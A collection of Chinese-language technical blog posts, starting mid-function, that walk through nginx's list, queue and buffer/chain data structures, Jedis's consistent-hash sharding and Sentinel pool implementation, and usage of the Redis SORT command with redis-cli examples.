            return NULL;
        }

        last->nelts = 0;
        last->next = NULL;

        l->last->next = last;
        l->last = last;
    }

    elt = (char *) last->elts + l->size * last->nelts;
    last->nelts++;

    return elt;
}





ngx_list_t和list有什么不同


这个问题其实在上述的分析已经说了，这里作个总结：



	
ngx_list_t的链表节点不是list中的节点，而是将list中的节点作为元素，组成一个内存块，作为ngx_list_t的链表节点存在。

	
ngx_list_t使用ngx_pool_t内存池来管理内存。



为什么重复造ngx_list_t这么个轮子


一句话：为了提高效率。


通常list在使用过程中每个节点意味着一次内存申请，这是一种效率低下的内存使用方式，ngx_list_t使用一次申请一块内存的方式减少内存申请次数，提高效率。
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src\core\Ngx_queue.h
src\core\Ngx_queue.c



主要作用分析


ngx_queue_t是Nginx提供的双向链表。


通常意义上的双向链表是长成这个样子的：


struct double_link_s {
    int            node;
    double_link_t *prev;
    double_link_t *next;
};



包含三个要素：节点数据data，指向前一个节点的指针prev及指向后一下节点的指针next。


然后就是老生常谈的对于双向链表的创建、插入、删除等等。我就不详说了，自行google即可。


其实，如果你仔细观察一下，就会发现，对双向链表的操作基本都是围绕prev和next展开的，与节点数据data关系不大。


所以，将双向链表的操作抽象出来，形成与链表节点无关的抽象可以帮助我们更好的去操作各种节点类型的双向链表。


这种链表的特点是只有prev和next两个变量，没有表示链表节点的成员变量。因此，这种链表也被称为轻量级链表。


同时，由于这种链表没有节点成员变量，所以需要作为带有节点变量的结构体的成员变量存在，这种情况下，称这种链表为寄宿链表，链表所在结构体称为宿主。


举个栗子，就是长成这个样子：


typedef double_link_s double_link_t;
struct double_link_s {
    double_link_t *prev;
    double_link_t *next;
};

struct node_s {
    int             node;
    double_link_t   link;
}



简单来说，如果想将结构体作为链表节点，那么就将这种轻量级链表作为成员变量加入到自身。


示意图如下：





这样，操作链表就是操作链表中的轻量级链表，因此，可以定义出通用的链表结构。


在Nginx中，这个通用的双向链表结构就是ngx_queue_t。这不是Nginx发明的，在Linux内核中也使用这种链表。


数据结构


ngx_queue_t


根据上述分析，定义轻量级链表很简单。


typedef struct ngx_queue_s  ngx_queue_t;

struct ngx_queue_s {
    ngx_queue_t  *prev;
    ngx_queue_t  *next;
};




ngx_queue_t的管理和使用


既然是双向链表，那么关于双向链表的基本操作是相同的。所以，不需要多解释，直接看源码即可。



ngx_queue_t初始化


#define ngx_queue_init(q)                                                     \
    (q)->prev = q;                                                            \
    (q)->next = q



使用ngx_queue_t类型的变量q初始化链表，由于是初始化，因此prev和next均指向自身。q作为管理整个链表的空节点。


判断ngx_queue_t是否为空


#define ngx_queue_empty(h)                                                    \
    (h == (h)->prev)



插入操作


#define ngx_queue_insert_head(h, x)                                           \
    (x)->next = (h)->next;                                                    \
    (x)->next->prev = x;                                                      \
    (x)->prev = h;                                                            \
    (h)->next = x



虽然宏的名字叫insert_head，实际上可以是插入的通用操作。所以，在源码中有


#define ngx_queue_insert_after   ngx_queue_insert_head



这里跟正常的双链表插入操作没有区别。


如何获取链表节点


采用寄宿链表，一个绕不开的问题就是，如何根据链表获得节点的数据。



  这里解决的基本思路如下：

  
  
	
寄宿链表是链表节点结构体的一个成员变量，虽然结构体可能因为对齐的问题使得各个成员变量在空间上不连续，但是，整个结构体本身仍然可以看作一块连续的内存区域。

  	所以，可以利用offsetof宏计算出寄宿链表成员变量相对于结构体起始位置的偏移量


  	寄宿链表的起始地址 - 寄宿链表成员变量相对于结构体起始位置的偏移量 = 结构体的起始地址

  




所以，ngx_queue_t获取节点数据就利用了上述方法


#define ngx_queue_data(q, type, link)                                         \
    (type *) ((u_char *) q - offsetof(type, link))



其中q为寄宿链表变量，type为寄宿链表所在结构体的类型，link为寄宿链表在type结构体中的变量名。

这个宏返回宿主结构体的首地址。


获取双向链表中间节点


这属于双向链表操作的老梗了，就是使用了双指针，移动速度差一倍，速度快的指针到末尾时，速度慢的所在就是中间位置。


源码如下


ngx_queue_t *
ngx_queue_middle(ngx_queue_t *queue)
{
    ngx_queue_t  *middle, *next;

    middle = ngx_queue_head(queue);

    if (middle == ngx_queue_last(queue)) {
        return middle;
    }

    next = ngx_queue_head(queue);

    for ( ;; ) {
        middle = ngx_queue_next(middle);

        next = ngx_queue_next(next);

        if (next == ngx_queue_last(queue)) {
            return middle;
        }

        next = ngx_queue_next(next);

        if (next == ngx_queue_last(queue)) {
            return middle;
        }
    }
}



当然，还有其他操作，比如排序，移除等等。和常规的双向链表操作基本相同。

这里就不详细描述了。
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在分析nginx的功能之前，首先看一下nginx使用的一些基础的数据结构及其用法，这样才能更好的理解以后的代码。

typedef struct ngx_buf_s  ngx_buf_t;

typedef void *            ngx_buf_tag_t;

struct ngx_buf_s {
    u_char          *pos;
    u_char          *last;
    off_t            file_pos;
    off_t            file_last;

    u_char          *start;         /* start of buffer */

    u_char          *end;           /* end of buffer */
    ngx_buf_tag_t    tag;           /* 表示当前缓冲区的类型，如果是哪个模块使用就为该模块的ngx_module_t变量的地址 */
    ngx_file_t      *file;
    ngx_buf_t       *shadow;

    /* the buf's content could be changed */
    /* 临时内存标志位，表示当前buf在内存中并且是可以修改的 */
    unsigned         temporary:1;

    /* buf在内存中并且是不可以修改的＊/
    unsigned         memory:1;

    /* the buf's content is mmap()ed and must not be changed*/
    /* buf的内存空间是由mmap生成的，不可以被修改*/
    unsigned         mmap:1;

    unsigned         recycled:1;
    unsigned         in_file:1;
    unsigned         flush:1;
    unsigned         sync:1;
    unsigned         last_buf:1;
    unsigned         last_in_chain:1;

    unsigned         last_shadow:1;
    unsigned         temp_file:1;

    /* STUB */ int   num;

};

typedef struct ngx_chain_s ngx_chain_t;

struct ngx_chain_s {
    ngx_buf_t    *buf;
    ngx_chain_t  *next;
};

typedef struct {
    ngx_int_t    num;
    size_t       size;
} ngx_bufs_t;


其中要注意的是shadow指针，该指针用于指向原有的内存空间从而减少了nginx的内存消耗，该技术使用起来很高端，在能力低端的时候不要使用
在结构体中了start、end表示的是该块指定的内存的开始和结束，而position和last则是提醒程序本次使用的内存空间只有这些。
而ngx_bufs_t则应该是起到一个管理的作用，用于说明当前使用的bufs的数量和每个buf的存储空间的大小

#define  NGX_ERROR      -1     // ngx_core.h

#define NGX_CHAIN_ERROR     (ngx_chain_t *) NGX_ERROR

#define ngx_buf_in_memory(b)        (b->temporary || b->memory || b->mmap)
#define ngx_buf_in_memory_only(b)   (ngx_buf_in_memory(b) && !b->in_file)

#define ngx_buf_special(b)                                                   \
    ((b->flush || b->last_buf || b->sync)                                    \
     && !ngx_buf_in_memory(b) && !b->in_file)

#define ngx_buf_sync_only(b)                                                 \
    (b->sync                                                                 \
     && !ngx_buf_in_memory(b) && !b->in_file && !b->flush && !b->last_buf)

#define ngx_buf_size(b)                                                      \
    (ngx_buf_in_memory(b) ? (off_t) (b->last - b->pos):                      \
                        (b->file_last - b->file_pos))

#define ngx_alloc_buf(pool)  ngx_palloc(pool, sizeof(ngx_buf_t))

#define ngx_calloc_buf(pool) ngx_pcalloc(pool, sizeof(ngx_buf_t))
#define ngx_free_chain(pool, cl)                                             \
    cl->next = pool->chain;                                                  \

    pool->chain = cl

ngx_buf_t *ngx_create_temp_buf(ngx_pool_t *pool, size_t size);
ngx_chain_t *ngx_create_chain_of_bufs(ngx_pool_t *pool, ngx_bufs_t *bufs);
ngx_chain_t *ngx_alloc_chain_link(ngx_pool_t *pool);

ngx_buf_t *
ngx_create_temp_buf(ngx_pool_t *pool, size_t size)
{
    ngx_buf_t *b;

    b = ngx_calloc_buf(pool);
    if (b == NULL) {
        return NULL;
    }

    b->start = ngx_palloc(pool, size);
    if (b->start == NULL) {
        return NULL;
    }
    b->pos = b->start;
    b->last = b->start;
    b->end = b->last + size;
    b->temporary = 1;

    return b;

}


这段代码是表示怎样创建生成一个temp的buf，并且从代码中也可以看到一段buf的内存空间是怎样分配的，通过ngx_palloc这个函数来完成分配的，并且由于在初始创建buf结构体的时候使用的函数是ngx_calloc_buf，所以针对分配的内存实行了清零操作

ngx_chain_t *
ngx_alloc_chain_link(ngx_pool_t *pool)
{
    ngx_chain_t  *cl;

    cl = pool->chain;

    if (cl) {
        pool->chain = cl->next;
        return cl;
    }

    cl = ngx_palloc(pool, sizeof(ngx_chain_t));
    if (cl == NULL) {
        return NULL;
    }

    return cl;

}


而这段代码则是表明在nginx中，chain是通过pool来生成的，而且每次通过在pool的开头提取的方式来完成的

ngx_create_chain_of_bufs(ngx_pool_t *pool, ngx_bufs_t *bufs)
{
    u_char       *p;
    ngx_int_t     i;
    ngx_buf_t    *b;
    ngx_chain_t  *chain, *cl, **ll;

    p = ngx_palloc(pool, bufs->num * bufs->size);
    if (p == NULL) {
        return NULL;
    }

    ll = &chain;

    for (i = 0; i < bufs->num; i++) {

        b = ngx_calloc_buf(pool);
        if (b == NULL) {
            return NULL;
        }
        b->pos = p;
        b->last = p;
        b->temporary = 1;

        b->start = p;
        p += bufs->size;
        b->end = p;

        cl = ngx_alloc_chain_link(pool);
        if (cl == NULL) {
            return NULL;
        }

        cl->buf = b;
        *ll = cl;
        ll = &cl->next;
    }

    *ll = NULL;／／到最后将生成的ngx_chain_t的next指针指向NULL，表明整个链表生成完毕。

    return chain;

}


这段代码则表明了ngx_bufs_t类型是怎样运用的，利用num 和 size来创建一段缓冲区，该缓冲区用于表示ngx_chain_t中的所有的节点中的buf都是从该段缓冲区中分配出来的，但是所有的cl都是从pool中的chain中分配下来重新利用的或者是重新创建的（详细情况查看ngx_alloc_chain_link函数。

从这里我们可以看到nginx的内存分配管理其实本质上或者说基础的方法和手段是利用ngx_pool_t结构体。所以说下一步需要对这个nginx中重要的内存分配管理的部分进行查看和分析。
然后还存在多个针对ngx_buf_t类型的基本操作（其实应该说是针对ngx_chain_t类型的基本操作
ngx_chain_add_copy

ngx_int_t
ngx_chain_add_copy(ngx_pool_t *pool, ngx_chain_t **chain, ngx_chain_t *in)
{
    ngx_chain_t  *cl, **ll;

    ll = chain;
    /* 遍历chain，查找到chain的最后结尾 */
    for (cl = *chain; cl; cl = cl->next) {
        ll = &cl->next;

    }
    /* 遍历in，并且创建分配chain的基本节点，并将其buf指向in的部分 */
    while (in) {
        cl = ngx_alloc_chain_link(pool);
        if (cl == NULL) {
            return NGX_ERROR;
        }

        cl->buf = in->buf;
        *ll = cl;
        ll = &cl->next;
        in = in->next;
    }

    *ll = NULL;//最后将最后一个chain节点的next指向一个NULL指针

    return NGX_OK;

}


该函数是在现有的chain的基础上将一个链表“复制”连接到该chain后面，但是从操作中我们可以看到，这个过程虽然说是“复制”，但是针对buf中实际的内存的操作仅仅是将针对连接上罢了。

ngx_chain_t *
ngx_chain_get_free_buf(ngx_pool_t *p, ngx_chain_t **free)
{
    ngx_chain_t  *cl;

    if (*free) {
        cl = *free;
        *free = cl->next;
        cl->next = NULL;
        return cl;
    }

    cl = ngx_alloc_chain_link(p);
    if (cl == NULL) {
        return NULL;
    }

    cl->buf = ngx_calloc_buf(p);
    if (cl->buf == NULL) {
        return NULL;
    }

    cl->next = NULL;

    return cl;

}


这段代码从名字上来看是获得一个free的buf，实际上是从一个free的链表中获得一个chain节点或者是重新分配一个chain节点
nginx中的链表操作很多都是头链表操作，即如果需要添加链表元素的话通常都将该元素添加到头上

void
ngx_chain_update_chains(ngx_pool_t *p, ngx_chain_t **free, ngx_chain_t **busy,
    ngx_chain_t **out, ngx_buf_tag_t tag)
{
    ngx_chain_t  *cl;

    if (*busy == NULL) {
        *busy = *out;

    } else {
        for (cl = *busy; cl->next; cl = cl->next) { /* void */ }

        cl->next = *out;
    }

    *out = NULL;

    while (*busy) {
        cl = *busy;

        if (ngx_buf_size(cl->buf) != 0) {
            break;
        }

        if (cl->buf->tag != tag) {
            *busy = cl->next;
            ngx_free_chain(p, cl);
            continue;
        }

        cl->buf->pos = cl->buf->start;
        cl->buf->last = cl->buf->start;

        *busy = cl->next;
        cl->next = *free;
        *free = cl;
    }

}


需要处理的链表是out指针指向的链表，而free指向的应该就是当前存在的free链表，而busy链表则是当前存在的busy链表，该链表也是待处理的链表
所以开始的时候需要判断将out应该放到哪一个位置，如果busy当前就存在的话，那么就应该将out放置到busy的最后，如果当前busy链表不存在，那么处理就是
将其作为busy链表进行处理
而后面的操作则是说明从头对busy链表实行检查，如果busy链表中的buf还存在需要处理的内存空间，那么就需要停止处理，否则就将其置为空（即对last和pos进行处理）

ngx_chain_t *
ngx_chain_update_sent(ngx_chain_t *in, off_t sent)
{
    off_t  size;

    for ( /* void */ ; in; in = in->next) {

        if (ngx_buf_special(in->buf)) {
            continue;
        }

        if (sent == 0) {
            break;
        }

        size = ngx_buf_size(in->buf);

        if (sent >= size) {
            sent -= size;

            if (ngx_buf_in_memory(in->buf)) {
                in->buf->pos = in->buf->last;
            }

            if (in->buf->in_file) {
                in->buf->file_pos = in->buf->file_last;
            }

            continue;
        }

        if (ngx_buf_in_memory(in->buf)) {
            in->buf->pos += (size_t) sent;
        }

        if (in->buf->in_file) {
            in->buf->file_pos += sent;
        }

        break;
    }

    return in;

}


该函数处理的情况就更加的容易理解了，就是说当发送了sent字节之后需要对当前使用的缓冲区做处理，并返回当前仍未处理过的缓冲区指针。
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Redis 主从 Replication 的配置
详解Redis SORT命令 
JedisCommand接口说明

概述

Jedis是Redis官方推荐的Java客户端，更多Redis的客户端可以参考Redis官网客户端列表。当业务的数据量非常庞大时，需要考虑将数据存储到多个缓存节点上，如何定位数据应该存储的节点，一般用的是一致性哈希算法。Jedis在客户端角度实现了一致性哈希算法，对数据进行分片，存储到对应的不同的redis实例中。
Jedis对Sharded的实现主要是在ShardedJedis.java和ShardedJedisPool.java中。本文主要介绍ShardedJedis的实现，ShardedJedisPool是基于apache的common-pool2的对象池实现。

继承关系

ShardedJedis--->BinaryShardedJedis--->Sharded <Jedis, JedisShardInfo>

构造函数

查看其构造函数

public ShardedJedis(List<JedisShardInfo> shards, Hashing algo, Pattern keyTagPattern) {
        super(shards, algo, keyTagPattern);
    }

构造器参数解释：


	shards是一个JedisShardInfo的列表，一个JedisShardedInfo类代表一个数据分片的主体。


	algo是用来进行数据分片的算法


	keyTagPattern，自定义分片算法所依据的key的形式。例如，可以不针对整个key的字符串做哈希计算，而是类似对thisisa{key}中包含在大括号内的字符串进行哈希计算。




JedisShardInfo是什么样的？

public class JedisShardInfo extends ShardInfo<Jedis> {

  public String toString() {
    return host + ":" + port + "*" + getWeight();
  }

  private int connectionTimeout;
  private int soTimeout;
  private String host;
  private int port;
  private String password = null;
  private String name = null;
  // Default Redis DB
  private int db = 0;

  public String getHost() {
    return host;
  }

  public int getPort() {
    return port;
  }

  public JedisShardInfo(String host) {
    super(Sharded.DEFAULT_WEIGHT);
    URI uri = URI.create(host);
    if (JedisURIHelper.isValid(uri)) {
      this.host = uri.getHost();
      this.port = uri.getPort();
      this.password = JedisURIHelper.getPassword(uri);
      this.db = JedisURIHelper.getDBIndex(uri);
    } else {
      this.host = host;
      this.port = Protocol.DEFAULT_PORT;
    }
  }

  public JedisShardInfo(String host, String name) {
    this(host, Protocol.DEFAULT_PORT, name);
  }

  public JedisShardInfo(String host, int port) {
    this(host, port, 2000);
  }

  public JedisShardInfo(String host, int port, String name) {
    this(host, port, 2000, name);
  }

  public JedisShardInfo(String host, int port, int timeout) {
    this(host, port, timeout, timeout, Sharded.DEFAULT_WEIGHT);
  }

  public JedisShardInfo(String host, int port, int timeout, String name) {
    this(host, port, timeout, timeout, Sharded.DEFAULT_WEIGHT);
    this.name = name;
  }

  public JedisShardInfo(String host, int port, int connectionTimeout, int soTimeout, int weight) {
    super(weight);
    this.host = host;
    this.port = port;
    this.connectionTimeout = connectionTimeout;
    this.soTimeout = soTimeout;
  }

  public JedisShardInfo(String host, String name, int port, int timeout, int weight) {
    super(weight);
    this.host = host;
    this.name = name;
    this.port = port;
    this.connectionTimeout = timeout;
    this.soTimeout = timeout;
  }

  public JedisShardInfo(URI uri) {
    super(Sharded.DEFAULT_WEIGHT);
    if (!JedisURIHelper.isValid(uri)) {
      throw new InvalidURIException(String.format(
        "Cannot open Redis connection due invalid URI. %s", uri.toString()));
    }

    this.host = uri.getHost();
    this.port = uri.getPort();
    this.password = JedisURIHelper.getPassword(uri);
    this.db = JedisURIHelper.getDBIndex(uri);
  }

@Override
  public Jedis createResource() {
    return new Jedis(this);
  }
    /**
    *    省略setters和getters
    **/
}

可见JedisShardInfo包含了一个redis节点ip地址，端口号，name，密码等等相关信息。要构造一个ShardedJedis，提供一个或多个JedisShardInfo。

最终构造函数的实现在其父类Sharded里面

public Sharded(List<S> shards, Hashing algo, Pattern tagPattern) {
        this.algo = algo;
        this.tagPattern = tagPattern;
        initialize(shards);
    }

哈希环的初始化

Sharded类里面维护了一个TreeMap，基于红黑树实现，用来盛放经过一致性哈希计算后的redis节点，另外维护了一个LinkedHashMap，用来保存ShardInfo与Jedis实例的对应关系。
定位的流程如下
先在TreeMap中找到对应key所对应的ShardInfo，然后通过ShardInfo在LinkedHashMap中找到对应的Jedis实例。

Sharded类对这些实例变量的定义如下所示：

public static final int DEFAULT_WEIGHT = 1;
    private TreeMap<Long, S> nodes;
    private final Hashing algo;
    private final Map<ShardInfo<R>, R> resources = new LinkedHashMap<ShardInfo<R>, R>();

    /**
     * The default pattern used for extracting a key tag. The pattern must have
     * a group (between parenthesis), which delimits the tag to be hashed. A
     * null pattern avoids applying the regular expression for each lookup,
     * improving performance a little bit is key tags aren't being used.
     */
    private Pattern tagPattern = null;
    // the tag is anything between {}
    public static final Pattern DEFAULT_KEY_TAG_PATTERN = Pattern.compile("\\{(.+?)\\}");

接下来看其构造函数中的initialize方法

private void initialize(List<S> shards) {
        nodes = new TreeMap<Long, S>();

        for (int i = 0; i != shards.size(); ++i) {
            final S shardInfo = shards.get(i);
            if (shardInfo.getName() == null)
                for (int n = 0; n < 160 * shardInfo.getWeight(); n++) {
                    nodes.put(this.algo.hash("SHARD-" + i + "-NODE-" + n), shardInfo);
                }
            else
                for (int n = 0; n < 160 * shardInfo.getWeight(); n++) {
                    nodes.put(
                            this.algo.hash(shardInfo.getName() + "*"
                                    + shardInfo.getWeight() + n), shardInfo);
                }
            resources.put(shardInfo, shardInfo.createResource());
        }
    }

可以看到，它对每一个ShardInfo通过一定规则计算其哈希值，然后存到TreeMap中，这里它实现了一致性哈希算法中虚拟节点的概念，因为我们可以看到同一个ShardInfo不止一次被放到TreeMap中，数量是，权重*160。
增加了虚拟节点的一致性哈希有很多好处，能避免数据在redis节点间分布不均匀。

然后，在LinkedHashMap中放入ShardInfo以及其对应的Jedis实例，通过调用其自身的createSource()来得到jedis实例。

数据定位

从ShardedJedis的代码中可以看到，无论进行什么操作，都要先根据key来找到对应的Redis，然后返回一个可供操作的Jedis实例。

例如其set方法：

public String set(String key, String value) {
        Jedis j = getShard(key);
        return j.set(key, value);
    }

而getShard方法则在Sharded.java中实现，其源代码如下所示：

public R getShard(byte[] key) {
        return resources.get(getShardInfo(key));
    }

    public R getShard(String key) {
        return resources.get(getShardInfo(key));
    }

    public S getShardInfo(byte[] key) {
        SortedMap<Long, S> tail = nodes.tailMap(algo.hash(key));
        if (tail.isEmpty()) {
            return nodes.get(nodes.firstKey());
        }
        return tail.get(tail.firstKey());
    }

    public S getShardInfo(String key) {
        return getShardInfo(SafeEncoder.encode(getKeyTag(key)));
    }


可以看到，先通过getShardInfo方法从TreeMap中获得对应的ShardInfo，然后根据这个ShardInfo就能够再LinkedHashMap中获得对应的Jedis实例了。
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概述

Jedis是Redis官方推荐的Java客户端，更多Redis的客户端可以参考Redis官网客户端列表。Redis-Sentinel作为官方推荐的HA解决方案，Jedis也在客户端角度实现了对Sentinel的支持，主要实现在JedisSentinelPool.java这个类中，下文会分析这个类的实现。

属性

JedisSentinelPool类里有以下的属性：

    //基于apache的commom-pool2的对象池配置
    protected GenericObjectPoolConfig poolConfig;
    
    //超时时间，默认是2000
    protected int timeout = Protocol.DEFAULT_TIMEOUT;
    
    //sentinel的密码
    protected String password;

    //redis数据库的数目
    protected int database = Protocol.DEFAULT_DATABASE;

    //master监听器，当master的地址发生改变时，会触发这些监听者
    protected Set<MasterListener> masterListeners = new HashSet<MasterListener>();

    protected Logger log = Logger.getLogger(getClass().getName());
    
    //Jedis实例创建工厂
    private volatile JedisFactory factory;
    
    //当前的master，HostAndPort是一个简单的包装了ip和port的模型类
    private volatile HostAndPort currentHostMaster;


构造器

构造器的代码如下：

public JedisSentinelPool(String masterName, Set<String> sentinels, final GenericObjectPoolConfig poolConfig, int timeout, final String password, final int database) {

        this.poolConfig = poolConfig;
        this.timeout = timeout;
        this.password = password;
        this.database = database;

        HostAndPort master = initSentinels(sentinels, masterName);
        initPool(master);
}

构造器一开始对实例变量进行赋值，参数sentinels是客户端所需要打交道的Redis-Sentinel，允许有多个，用一个集合来盛装。

然后通过initSentinels方法与sentinel沟通后，确定当前sentinel所监视的master是哪一个。然后通过master来创建好对象池，以便后续从对象池中取出一个Jedis实例，来对master进行操作。

initSentinels方法

initSentinels方法的代码如下所示，我加了一些注释：

    private HostAndPort initSentinels(Set<String> sentinels, final String masterName) {

        HostAndPort master = null;
        boolean sentinelAvailable = false;

        log.info("Trying to find master from available Sentinels...");

        // 有多个sentinels,遍历这些个sentinels
        for (String sentinel : sentinels) {
            // host:port表示的sentinel地址转化为一个HostAndPort对象。
            final HostAndPort hap = toHostAndPort(Arrays.asList(sentinel.split(":")));

            log.fine("Connecting to Sentinel " + hap);

            Jedis jedis = null;
            try {
                // 连接到sentinel
                jedis = new Jedis(hap.getHost(), hap.getPort());

                // 根据masterName得到master的地址，返回一个list，host= list[0], port =
                // list[1]
                List<String> masterAddr = jedis.sentinelGetMasterAddrByName(masterName);

                // connected to sentinel...
                sentinelAvailable = true;

                if (masterAddr == null || masterAddr.size() != 2) {
                    log.warning("Can not get master addr, master name: " + masterName
                            + ". Sentinel: " + hap + ".");
                    continue;
                }

                master = toHostAndPort(masterAddr);
                log.fine("Found Redis master at " + master);
                // 如果在任何一个sentinel中找到了master，不再遍历sentinels
                break;
            } catch (JedisConnectionException e) {
                log.warning("Cannot connect to sentinel running @ " + hap
                        + ". Trying next one.");
            } finally {
                // 关闭与sentinel的连接
                if (jedis != null) {
                    jedis.close();
                }
            }
        }

        // 到这里，如果master为null，则说明有两种情况，一种是所有的sentinels节点都down掉了，一种是master节点没有被存活的sentinels监控到
        if (master == null) {
            if (sentinelAvailable) {
                // can connect to sentinel, but master name seems to not
                // monitored
                throw new JedisException("Can connect to sentinel, but " + masterName
                        + " seems to be not monitored...");
            } else {
                throw new JedisConnectionException(
                        "All sentinels down, cannot determine where is " + masterName
                                + " master is running...");
            }
        }

        //如果走到这里，说明找到了master的地址
        log.info("Redis master running at " + master + ", starting Sentinel listeners...");

        //启动对每个sentinels的监听
        for (String sentinel : sentinels) {
            final HostAndPort hap = toHostAndPort(Arrays.asList(sentinel.split(":")));
            MasterListener masterListener = new MasterListener(masterName, hap.getHost(),
                    hap.getPort());
            masterListeners.add(masterListener);
            masterListener.start();
        }

        return master;
    }


可以看到initSentinels方法的参数有一个masterName，就是我们所需要查找的master的名字。
一开始，遍历多个sentinels，一个一个连接到sentinel，去询问关于masterName的消息，可以看到是通过jedis.sentinelGetMasterAddrByName()方法去连接sentinel，并询问当前的master的地址。点进这个方法去看看，源代码是这样写的：

/**
   * <pre>
   * redis 127.0.0.1:26381> sentinel get-master-addr-by-name mymaster
   * 1) "127.0.0.1"
   * 2) "6379"
   * </pre>
   * @param masterName
   * @return two elements list of strings : host and port.
   */
  public List<String> sentinelGetMasterAddrByName(String masterName) {
    client.sentinel(Protocol.SENTINEL_GET_MASTER_ADDR_BY_NAME, masterName);
    final List<Object> reply = client.getObjectMultiBulkReply();
    return BuilderFactory.STRING_LIST.build(reply);
  }

调用的是与Jedis绑定的client去发送一个"get-master-addr-by-name"命令。

回到initSentinels方法中，如果没有询问到master的地址，那就询问下一个sentinel。如果询问到了master的地址，那么将不再遍历sentinel集合，直接break退出循环遍历。

如果循环结束后，master的值为null,那么有两种可能：


	一种是所有的sentinel实例都不可用了


	另外一种是，sentinel实例有可用的，但是没有监控名字为masterName的Redis。




如果master为null，程序会抛出异常，不再往下走了。如果master不为null呢，继续往下走。

可以从代码中看到，为每个sentinel都启动了一个监听者MasterListener。MasterListener本身是一个线程，它会去订阅sentinel上关于master节点地址改变的消息。

接下来先分析构造方法中的另外一个方法：initPool。之后再看MasterListener的实现。

initPool方法

initPool的实现源代码如下所示：

private void initPool(HostAndPort master) {
        if (!master.equals(currentHostMaster)) {
            currentHostMaster = master;
            if (factory == null) {
                factory = new JedisFactory(master.getHost(), master.getPort(), timeout,
                        password, database);
                initPool(poolConfig, factory);
            } else {
                factory.setHostAndPort(currentHostMaster);
                // although we clear the pool, we still have to check the
                // returned object
                // in getResource, this call only clears idle instances, not
                // borrowed instances
                internalPool.clear();
            }

            log.info("Created JedisPool to master at " + master);
        }
    }
    

可以看到，作为参数传进来的master会与实例变量currentHostMaster作比较，看看是否是相同的，为什么要作这个比较呢，因为前文中提到的MasterListener会在发现master地址改变以后，去调用initPool方法。
如果是第一次调用initPool方法(构造函数中调用)，那么会初始化Jedis实例创建工厂，如果不是第一次调用(MasterListener中调用)，那么只对已经初始化的工厂进行重新设置。
从以上也可以看出为什么currentHostMaster和factory这两个变量为什么要声明为volatile，它们会在多线程环境下被访问和修改，因此必须保证可见性。
第一次调用时，会调用initPool(poolConfig, factory)方法。
看看这个方法的源代码：

public void initPool(final GenericObjectPoolConfig poolConfig,
            PooledObjectFactory<T> factory) {

        if (this.internalPool != null) {
            try {
                closeInternalPool();
            } catch (Exception e) {
            }
        }

        this.internalPool = new GenericObjectPool<T>(factory, poolConfig);
    }

基本上只干了一件事：初始化内部对象池。

MasterListener监听者线程

直接看它的run方法实现吧：



        public void run() {

            running.set(true);

            while (running.get()) {

                j = new Jedis(host, port);

                try {
                    //订阅sentinel上关于master地址改变的消息
                    j.subscribe(new JedisPubSub() {
                        @Override
                        public void onMessage(String channel, String message) {
                            log.fine("Sentinel " + host + ":" + port + " published: "
                                    + message + ".");

                            String[] switchMasterMsg = message.split(" ");

                            if (switchMasterMsg.length > 3) {

                                if (masterName.equals(switchMasterMsg[0])) {
                                    initPool(toHostAndPort(Arrays.asList(
                                            switchMasterMsg[3], switchMasterMsg[4])));
                                } else {
                                    log.fine("Ignoring message on +switch-master for master name "
                                            + switchMasterMsg[0]
                                            + ", our master name is " + masterName);
                                }

                            } else {
                                log.severe("Invalid message received on Sentinel " + host
                                        + ":" + port + " on channel +switch-master: "
                                        + message);
                            }
                        }
                    }, "+switch-master");

                } catch (JedisConnectionException e) {

                    if (running.get()) {
                        log.severe("Lost connection to Sentinel at " + host + ":" + port
                                + ". Sleeping 5000ms and retrying.");
                        try {
                            Thread.sleep(subscribeRetryWaitTimeMillis);
                        } catch (InterruptedException e1) {
                            e1.printStackTrace();
                        }
                    } else {
                        log.fine("Unsubscribing from Sentinel at " + host + ":" + port);
                    }
                }
            }
        }


可以看到它依然委托了Jedis去与sentinel打交道，订阅了关于master地址变换的消息，当master地址变换时，就会再调用一次initPool方法，重新设置对象池相关的设置。

尾声

Jedis的JedisSentinelPool的实现仅仅适用于单个master-slave。
现在有了更多的需求，既需要sentinel提供的自动主备切换机制，又需要客户端能够做数据分片(Sharding)，类似于memcached用一致性哈希进行数据分片。
接下来可能会自己在现有Jedis上实现一个支持一致性哈希分片的ShardedJedisSentinelPool。
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基本使用

命令格式：  SORT key [BY pattern] [LIMIT offset count] [GET pattern [GET pattern ...]] [ASC|DESC] [ALPHA] [STORE destination] 

默认情况下，排序是基于数字的，各个元素将会被转化成双精度浮点数来进行大小比较，这是SORT命令最简单的形式，也就是下面这种形式：

SORT mylist

如果mylist是一个包含了数字元素的列表，那么上面的命令将会返回升序排列的一个列表。如果想要降序排序，要使用DESC描述符，如下所示：

SORT mylist DESC

如果mylist包含的元素是string类型的，想要按字典顺序排列这个列表，那么就要用到ALPHA描述符，如下所示：

SORT mylist ALPHA

Redis是基于UTF-8编码来处理数据的, 要确保你先设置好了!LC_COLLATE环境变量。

对于返回的元素个数也是可以进行限制的，只需要使用LIMIT描述符。使用这个描述符，你需要提供偏移量参数，来指定需要跳过多少个元素，返回多少个元素。 下面这个例子将会返回一个已经排序好了的列表中的10个元素，从下标为0开始：

SORT mylist LIMIT 0 10

几乎全部的描述符都可以同时使用。例如下面这个例子所示，它将会返回前5个元素，以字典顺序降序排列：

SORT mylist LIMIT 0 5 ALPHA DESC

通过外部key来排序

有时候，你会想要用外部的key来作为权重去排列列表或集合中的元素，而不是使用列表或集合中本来就有的元素来排列。
下面以一个例子来解释：
假设现在有一张这样的表(顺便吐槽一下，为什么这个markdown编辑器不支持表格，非要写html代码吗)，有商品id，商品价格，以及商品的重量。


首先将上述表格的数据导入到redis中(redis版本：2.8.6)

127.0.0.1:6379> lpush gid 1
(integer) 1
127.0.0.1:6379> lpush gid 2
(integer) 2
127.0.0.1:6379> lpush gid 3
(integer) 3
127.0.0.1:6379> lpush gid 4
(integer) 4
127.0.0.1:6379> set price_1 20
OK
127.0.0.1:6379> set price_2 40
OK
127.0.0.1:6379> set price_3 30
OK
127.0.0.1:6379> set price_4 10
OK
127.0.0.1:6379> set weight_1 3
OK
127.0.0.1:6379> set weight_2 2
OK
127.0.0.1:6379> set weight_3 4
OK
127.0.0.1:6379> set weight_4 1
OK


默认情况下对gid排序，只会按gid的值来排序

127.0.0.1:6379> sort gid
1) "1"
2) "2"
3) "3"
4) "4"

但是通过BY描述符，可以指定gid按照别的key来排序。例如我想要按照商品的价格来排序：

127.0.0.1:6379> sort gid by price_*
1) "4"
2) "1"
3) "3"
4) "2"

可以看到，gid为4的商品价格最低，为10，gid为2的商品价格最高，为40。

